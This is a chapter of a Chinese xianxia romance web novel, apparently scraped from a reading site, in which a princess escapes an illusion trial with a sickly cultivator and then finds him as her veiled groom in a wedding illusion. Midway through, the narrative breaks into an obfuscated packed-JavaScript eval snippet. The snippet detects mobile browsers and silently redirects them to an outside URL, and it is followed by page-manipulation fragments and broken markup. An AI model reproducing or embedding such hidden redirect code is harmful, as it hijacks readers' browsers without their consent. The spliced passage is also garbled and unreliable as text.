2. 长剑挑起盖头

作品:《今天病美人又不告而别了吗GB

    显然,林芮把面前的人当成幻境对她的考验了。


    皇室重礼仪,哪怕如林芮般叛逆也万万不敢调戏异性。


    毕竟这是登徒子行为,是林芮最不齿的行为。


    境外,一群人大乱,他们看不到林芮了。


    但境内两人却不知外面的人仰马翻。


    美人鸦羽长睫轻颤,轻咳两下,隽永微弱声音响起:“道友,剑下留人。”


    林芮挑眉:“这幻影还挺真。”


    美人轻咳两下,“我不是幻影。倒是道友入我幻境内,剑架到我脖子上,还说我是幻影,未免有些太欺负人了。”


    “真的?”林芮嘴上如此道,但长剑依旧稳稳架在面前人的颈侧,“证据。要想让我相信,总要拿出证据。”


    面前人轻笑,如画细致的眉眼舒展,而后轻咳,“道友,长剑上血珠难道不是证据?”


    林芮轻嗤一声,显然没信。这算什么证据?幻境中万物皆可幻。


    青年见此,叹了一声:“没准我们以后会是同门,相煎何急?”


    没等林芮开口要对方命牌,她目光骤然一凝,扯过对方,长剑脱手,化掌击打剑柄。


    剑刃冷冽泛着寒光直刺出去,与偷袭青年的大刀碰撞在一起,一声清脆铮鸣,火星迸溅。


    这次长剑是灵剑,剑柄上的灵石透出丝丝缕缕的灵气缠绕剑身,有破竹之势,将大刀以及周围幻影通通击得粉碎。


    而后幻境破灭,灵剑滞空,黯淡下去,落到地上断成几截。


    但林芮没管,灵器她多的是,她扭头看向身后的青年,“你没事吧?”


    青年轻蹙眉头,咳了几下,唇瓣越发殷红,他摇摇头:“谢道友所救,我没事……”等他缓过神,直起腰,看向周围,有些发愣,“我们这是出来了?”


    “当然。”林芮轻抬下巴,凤眼睥睨。


    青年没有随着幻境消失。


    但她看到面前人一直低着头,好奇顺着对方视线望去,这才发现她竟然还握着对方手腕?!


    只不过对方手腕极细,握着不明显,等她发觉才觉得有些硌手。


    林芮猛得弹开,连忙道歉:“抱歉。是我唐突了……”


    青年摇摇头:“命要紧,哪管男女大防?”而后率先自我介绍:“在下应观南,多谢道友相救。救命之恩……”


    “以身相许?”林芮接话,她知道话本里的套路。


    “不不不……”应观南显然被林芮的话惊到,一阵咳嗽后,气若游丝:“是来日再报。”


    “开个玩笑,毕竟话本里都是这么演的。”林芮笑得眉眼张扬,道别:“既然幻境已破,那我们就大道三千,有缘再见。”


    林芮拂袖打算离开。


    应观南拉住她的衣摆,而后咳了两下,鸦羽长睫轻颤:“道友。”


    林芮扭头看他:“嗯?”


    应观南抬眼,“我听说第三个幻境是可以组队……”


    “嗯?”虽然她只信三分,扬眉轻笑道:“你想和我组队?”


    应观南点点头:“毕竟之后就有可能就是同门了。”


    “同门?”林芮见对方如此模样,虽然内心感觉同门的几率不大,但还是道:“行啊,只不过你可要跟紧我,跟岔了那就不管我的事了。”


    有没有队友对于她来讲都一样,她也懒得去求证最后一个幻境到底是不是互通的,能不能组队。


    “好的,道友。”


    林芮介绍自己:“本名林芮。看你这一副命不久矣的样子,如果身体不适那就捏碎命牌。”


    应观南没生气,也没反驳:“是命不久矣,但也有长生之欲。”


    “长生?”林芮性格张扬,向来喜欢异想天开的人,她大笑,拍着应观南的肩:“如今灵力匮乏,大道三千无一人长生,不过我看好你!”


    境外,一群掌门长老看到林芮的画面突然消失又出现,身边多出来的的病弱青年,不禁震惊:“应渡怎么来了?”


    十三峰掌门下位的大师兄见到那张熟悉的脸,直接站起来,震惊,喃喃低语,“天机阁首徒应渡。”他怎么会出现?天机阁不是向来不入世的吗?


    他看着应渡那张与过去感觉截然相反的脸,沉默。


    最后,面前第三个幻境浮现,林芮率先踏入。


    身后应观南见幻境已关,双手结印,原本关闭的幻境又缓缓打开。


    *


    林芮一睁眼,入目便是满是大红。


    烛台红被,双喜窗花,角落熏香袅袅,中央雕花大床精致,大红锦被上鸳鸯刺绣精美绝伦,红色帷幔被金丝流苏所束。


    是新房。


    她感觉自己头有些沉,动作幅度大了,耳边噼里啪啦的响。


    她拿起桌子上的铜镜。


    镜面倒映出自己的脸。


    五官精致立体浓重,凤眼微挑,一股睥睨之势,更别提浓妆过后五官更加深邃。


    只不过——林芮表情有些空白,她的发尽数挽起,凤冠安在她的头上,比她的头都大。


    她这才意识到自己穿着凤冠霞帔。


    林芮:“……!!”


    铜镜被猛得按下,镜背青铜云雷纹路精致古朴,上面嵌有红色玛瑙与蓝宝石。


    林芮紧盯着镜背,忽觉眼熟。


    这是她的镜子。


    在凡界,在卫国,在她府邸,在她房间的镜子。


    她站起身,环顾四周。


    应观南不是说可以组队吗?人呢?


    下一秒,房门被推开。


    “殿下,大喜的日子你在新房干嘛?”


    喜婆穿得喜庆,笑得看不出眼睛,“知道驸马长相好看,殿下心急洞房模样。”


    林芮:“……”


    驸马?


    丞相家二公子?


    这幻境她父皇设的?


    但没等她思考太多,她已经被一拥而进的人“请”了出去。


    红色嫁衣,行走间刺绣精美龙凤栩栩如生,手腕上翡翠镯子衬得她肌肤越发白皙。


    她穿过走廊,前院。路边下人都穿得喜气洋洋,笑容满面地说着吉祥话。


    梁柱上绑着红绸,一路上张灯结彩。


    到了大门,一个看不清脸的人拉住她,“马上驸马就要来了!”


    等两人离得近了,林芮才看清拉住她的人的脸。


    是她大嫂。


    林芮轻嗤:劣质幻境。


    等到锣鼓声传进耳朵,林芮也看清了远方逐渐走进并且摇来摇去的花轿。


    选看像纸糊,近看倒是精致。


    林芮:这对吗?


    虽然她叛逆,但身为皇室也是知道些礼数的。


    其他国不知道,但她卫国的公主“娶”驸马是要乘凤辇,由驸马骑良骏开路,十里红妆绕都城一圈。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160237|165046||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    当然,卫国历史上也有的公主和驸马并骑良骏。


    更别提现在,她身为公主穿着凤披霞冠,站在府邸门口迎花轿上的驸马。


    如果让她那老古板太傅见了这场面,指不定要吹胡子瞪眼,一口气上不来直接过去。


    花轿到跟前了,刚停下,林芮作势就要掀开,却被旁边人拦下,“殿下,万万使不得。”


    旁边立马有人呈上一柄系着红绸的白玉如意。


    林芮没拒绝,拿起如意就要掀帘,她到底要看看是何妖魔鬼怪。


    “殿下,驸马身体不好,动作莫过于粗鲁。”


    但提醒得过于晚了,帘子已经掀开,里面人还盖着红盖头。


    林芮:“……”


    一只手伸出来,十指修长,秋水为皮玉为骨,莹润干净,指甲修剪整齐,指尖圆润泛红。


    大红广袖下手腕腕骨突出,皮肤苍白与衣袖对比鲜明。


    林芮微怔。


    周围人起哄催促:“快啊,公主殿下,去把驸马扶出来。”


    林芮:“……”她认命把盖着红盖头的驸马搀扶出来。


    “掀帘迎新郎,夫妻恩爱万年长!”


    驸马靠到新娘身上,脚下虚浮,身体的确不好,当然也有可能是被花轿摇晕了。


    亦或者,两者都有。


    林芮心里有几分猜测,她搀扶着驸马,把他靠到身上往上提了提。


    第一关,便是大门口的火盆。


    她看着熊熊燃烧的火盆险些气笑,哪来的陋习,怎么,当她驸马是什么不好的事吗?要跨火盆?


    但周围人都在催促,林芮开口:“既然驸马身体不好,火盆这一项就免了……”


    下一秒,四周寒光泛泛的刀尖便对上她。


    林芮:“……”


    她手痒,不想忍了,也不想结这什么劳子婚。


    但她又看了眼怀中人,她还不确定对方是不是应观南。


    如果真是应观南这个病秧子,身体不好又坐上花轿摇来摇去,面对打斗场面,刀剑无眼,岂不是毫无反抗之力?


    所以林芮忍了下来,在她提出刚刚那个意见的时候,火盆里的火焰黯下来,不再窜得老高了。


    应观南应该能跨过去。


    她边想边搀扶着怀中人,小心地跨火盆。


    “驱邪避灾,兴旺安康——”


    等到火盆跨完,三拜后,林芮被人拦着喝酒,余光瞄着驸马被人领去了新房,心里估摸着他应该到地方了,直接摔了手中酒杯,在一众化为黑气的来宾里,从空间戒指中抽出符箓。


    她体内没灵气,但这符箓不用灵气也可引爆。


    轰隆一声巨响,漫天火焰吞天。废墟里,林芮提着长剑到处找未消散的幻影补刀。


    等到府邸内外幻影全部消失,她便提着长剑前往新房。


    外面一片狼藉,新房完好如初,像是独在另一方天地。


    嫁衣衣摆金丝泛光,翡翠手镯叮当,林芮推开新房的门。


    驸马盖着盖头坐到床上,安静至极。


    见此,林芮蹙眉,难道不是应观南?


    林芮小心走近,余光瞄到桌子上的红绸如意,见手柄过短,用手中长剑缓缓挑起盖头。


    盖头掉落地上。


    盖头下,病容微施脂粉,五官清绝,比起初见更有气色。


    是应观南。